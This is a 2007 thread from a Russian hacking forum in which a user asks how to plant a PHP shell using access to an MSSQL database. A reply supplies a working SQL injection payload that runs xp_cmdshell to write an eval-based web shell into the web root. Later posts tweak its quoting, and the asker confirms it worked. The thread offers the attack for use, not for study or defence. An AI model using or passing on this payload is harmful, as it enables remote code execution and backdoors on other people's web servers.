Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   PHP, PERL, MySQL, JavaScript (https://forum.antichat.xyz/forumdisplay.php?f=37)
-   -   Шелл через Mssql (https://forum.antichat.xyz/showthread.php?t=49389)

Sharky 19.09.2007 19:58
Шелл через Mssql
 
Как имея доступ к mssql базе залить php шелл

Zitt 19.09.2007 22:07
Вы хоть пытайтесь поискать))
http://video.antichat.ru/file240.html


up
ссоории не заметил...

guest3297 19.09.2007 23:25
Zitt
Читай внимательней у my и ms sql совсем разный синтаксис.

Sharky
Исполнение команд будет работать зальешь, не будет работать... ну разве только через админку, в остальных случаях...

Ponchik 19.09.2007 23:48
'; use master exec xp_cmdshell 'echo "<? eval(stripslashes($_GET[c])); > C:/webserver/www/shell.php ?>"';--

Подкорректировать под себя

guest3297 19.09.2007 23:58
Цитата:
; use master exec xp_cmdshell 'echo "<? eval(stripslashes($_GET[c])); > C:/webserver/www/shell.php ?>"';--
$_GET['c']

ant0ha 20.09.2007 00:06
Цитата:
Сообщение от [ cash ]
$_GET['c']
вовсе не обязательно, притом что в запросе одинарные кавычки уже используются, тока конфликт возникнет

Sharky 20.09.2007 18:04
всем спасибо...сделал что надо...тему можно закрыть...

guest3297 20.09.2007 20:44
ну отпиши как сделал )

NOmeR1 20.09.2007 20:55
А причём здесь "PHP, PERL, MySQL, JavaScript"?
Почему не "Уязвимости"?

guest3297 20.09.2007 21:26
2 NOmeR1
Так надо )


Время: 11:27